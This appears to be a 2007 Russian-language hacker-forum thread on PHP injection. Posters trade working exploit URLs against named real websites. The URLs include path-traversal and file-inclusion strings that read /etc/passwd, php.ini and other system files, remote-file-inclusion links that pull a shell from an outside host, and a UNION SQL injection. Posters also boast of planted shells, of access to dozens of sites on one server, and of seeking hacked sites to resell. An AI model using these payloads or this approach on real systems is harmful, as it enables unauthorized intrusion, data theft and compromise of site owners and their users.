PHP Иньекции

Discussion in 'Уязвимости' started by Joker-jar, 20 Apr 2007.

  1. Sn@k3

    Sn@k3 Elder - Старейшина

    Joined:
    13 Apr 2006
    Messages:
    1,000
    Likes Received:
    438
    Reputations:
    90
    kjentfolk.no какая-то группа.
    Code:
    http://www.kjentfolk.no/musikere/vinskvetten/frameset.php?load=../../etc/passwd?action=nyheter
     
  2. FFFFx029A

    FFFFx029A Member

    Joined:
    30 Sep 2007
    Messages:
    9
    Likes Received:
    8
    Reputations:
    3
    Народ, хелп, у когонить случайно незавалялся скрипт или доступ к хакнутому "агенству недвижимости"?
    П.С очень нужно, ща вот сам через гуглю ищу дырявые "агенства недвижимости", если найду - выложу)

    (Если кто жадный - могу поменять на скрипт инет магазина который я делал сам вручную снуля, вот пример: http://else.com.ua)

    -----------------------------------------------------------------------
    Вот нашол и залил шелл: http://www.multydom.crimea.ua/error.php
    но эт некатит, ибо сделано кривыми руками и больше 20 баксов мне за него недадут...
    -----------------------------------------------------------------------

    Если кому несложно, выручите меня, буду всегда рад помоч...

    P.S нужно чото типа этого агенства недвижимости: http://www.arcoreal.com.ua
    (чтоб был поиск по хатам)
     
  3. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    вот прорыв крыши =))почти )))

     
  4. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    Code:
    http://www.klasikcz.eu/cs/index.php?jakyform=[url]
    Code:
    http://www.keybuy.com/index.php?cmd=[url]
    Code:
    http://www.itdistri.com/index.php?page=[url]
    Code:
    http://www.insoma.cz/index.php?id=[url]
    Code:
    http://www.idealguide.net/site/index.php?page=[url]
    Code:
    http://www.iaald.org/index.php?page=[url]
     
    #484 SWAT, 9 Oct 2007
    Last edited: 9 Oct 2007
  5. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    Code:
    http://www.horsens-baadeklub.dk/index.php?id=[url]
    Code:
    http://www.hiumi.it/mahoo/index.php?mahoo=[url]
    Code:
    http://www.heatherlynn.net/midisite/index.php?midiDisplay=[url]
    Code:
    http://www.gwynhughes.com/index.php?page=[url]
     
    #485 SWAT, 9 Oct 2007
    Last edited: 9 Oct 2007
    2 people like this.
  6. FFFFx029A

    FFFFx029A Member

    Joined:
    30 Sep 2007
    Messages:
    9
    Likes Received:
    8
    Reputations:
    3
    http://nadejda.com.ua/index.php?page=search&prm=/../../../../../etc/passwd&opend=3

    Жаль что шелл низя залить, какраз ищу сайт по недвижимости с поиском по параметрам :(
     
    1 person likes this.
  7. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    Может и было.. Логи нашёл, но они были пустые =(
     
  8. FFFFx029A

    FFFFx029A Member

    Joined:
    30 Sep 2007
    Messages:
    9
    Likes Received:
    8
    Reputations:
    3
    http://www.spb-estate.com/sale/sale_flat/index.php?id=http://else.ucoz.ru/mysh

    доступ на чтение файлов закрыт, а заливать и удалять мона(


    Народ, нужен скрипт агенства недвижимости + поиск по параметрам недвижимости... Поможете?

    Вот юзаю, но мускул 4й:

    http://www.megaholl.com.ua/find_stead.php?a=2)+union+select+'hello','wwwwwwwwwwwwwwwwwwwww',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23/*&sm=s1d&sr=t
     
  9. FFFFx029A

    FFFFx029A Member

    Joined:
    30 Sep 2007
    Messages:
    9
    Likes Received:
    8
    Reputations:
    3
    Вот нашол, но фиговый сайт.... Народ хелп, нужен скрипт или хакнутый сайт по недвижимости+поиск
    http://www.an-invest.ru/?id=http://else.ucoz.ru/mysh
     
  10. FFFFx029A

    FFFFx029A Member

    Joined:
    30 Sep 2007
    Messages:
    9
    Likes Received:
    8
    Reputations:
    3
    http://brandsale.ru/?id=[shell]
     
    #490 FFFFx029A, 10 Oct 2007
    Last edited: 10 Oct 2007
    1 person likes this.
  11. FFFFx029A

    FFFFx029A Member

    Joined:
    30 Sep 2007
    Messages:
    9
    Likes Received:
    8
    Reputations:
    3

    http://www.an-invest.ru/?id=[SHELL]
    P.S заходим в папку /home/pozicia.ru/ и есть доступ к 40 сайтам)))
     
    1 person likes this.
  12. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    Code:
    http://www.gospa-lurdska.hr/index.php?link=[url]
    Code:
    http://www.farbenwolf.at/html/farbenwolf/index.php?site=
     
    1 person likes this.
  13. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
     
    #493 NOmeR1, 11 Oct 2007
    Last edited: 11 Oct 2007
    1 person likes this.
  14. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
     
    #494 NOmeR1, 12 Oct 2007
    Last edited: 12 Oct 2007
    3 people like this.
  15. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Увеличьте ваше сообщение до 2 символов.


    Немаленький хостер..российский. бсдя стоит.ничего ненашел толкового.может кто-то найдет)отпишитесь!)
     
    #495 $n@ke, 14 Oct 2007
    Last edited: 14 Oct 2007
    2 people like this.
  16. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    один,два....

    add: (WindowZZ)
    .ch
     
    #496 $n@ke, 17 Oct 2007
    Last edited: 17 Oct 2007
    1 person likes this.
  17. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    emule.com
    Code:
    http://www.emule.com/poetry/?page=../../../../../../../../etc/passwd%00
     
    1 person likes this.
  18. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    Code:
    http://nagelstudio-overberg.de/index2.php?dat=[url]=%00
    Code:
    http://www.chestnutgrove.wandsworth.sch.uk/index2.php?page=[url]=%00
     
    #498 SWAT, 18 Oct 2007
    Last edited: 18 Oct 2007
  19. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    :)
     
    #499 SWAT, 18 Oct 2007
    Last edited: 19 Oct 2007
    2 people like this.
  20. SWAT

    SWAT Elder - Старейшина

    Joined:
    14 Dec 2006
    Messages:
    198
    Likes Received:
    196
    Reputations:
    -7
    Code:
    http://www.quuteillumina.co.uk/index.php?f=../../../../../../../../../../etc/passwd
    http://www.quuteillumina.co.uk/index.php?f=../../../../../../../../../../etc/hosts
    http://www.quuteillumina.co.uk/index.php?f=../../../../../../../../../../etc/ftpusers
    http://www.quuteillumina.co.uk/index.php?f=../../../../../../../../../../etc/syslog.conf
    http://www.quuteillumina.co.uk/index.php?f=../../../../../../../../../../etc/services
    http://www.quuteillumina.co.uk/index.php?f=../../../../../../../../../../etc/group
    http://www.quuteillumina.co.uk/index.php?f=../../../../../../../../../../etc/bash.bashrc
    http://www.quuteillumina.co.uk/index.php?f=../../../../../../../../../../etc/networks
    http://www.quuteillumina.co.uk/index.php?f=../../../../../../../../../../etc/profile
    http://www.quuteillumina.co.uk/index.php?f=../../../../../../../../../../etc/skel/.bashrc
    http://www.quuteillumina.co.uk/index.php?f=../../../../../../../../../../etc/php4/apache/php.ini
    Code:
    http://wallsy.domwolf.net/mafia/index.php?page=../../../../../../../../../../etc/passwd%00
    http://wallsy.domwolf.net/mafia/index.php?page=../../../../../../../../../../etc/hosts%00
    http://wallsy.domwolf.net/mafia/index.php?page=../../../../../../../../../../etc/ftpusers%00
    http://wallsy.domwolf.net/mafia/index.php?page=../../../../../../../../../../etc/syslog.conf%00
    http://wallsy.domwolf.net/mafia/index.php?page=../../../../../../../../../../etc/services%00
    http://wallsy.domwolf.net/mafia/index.php?page=../../../../../../../../../../etc/group%00
    http://wallsy.domwolf.net/mafia/index.php?page=../../../../../../../../../../etc/bash.bashrc%00
    http://wallsy.domwolf.net/mafia/index.php?page=../../../../../../../../../../etc/networks%00
    http://wallsy.domwolf.net/mafia/index.php?page=../../../../../../../../../../etc/profile%00
    http://wallsy.domwolf.net/mafia/index.php?page=../../../../../../../../../../etc/skel/.bashrc%00
    http://wallsy.domwolf.net/mafia/index.php?page=../../../../../../../../../../etc/php5/apache/php.ini%00
    http://wallsy.domwolf.net/mafia/index.php?page=../../../../../../../../../../etc/php5/cgi/php.ini%00
     
    #500 SWAT, 19 Oct 2007
    Last edited: 19 Oct 2007
    1 person likes this.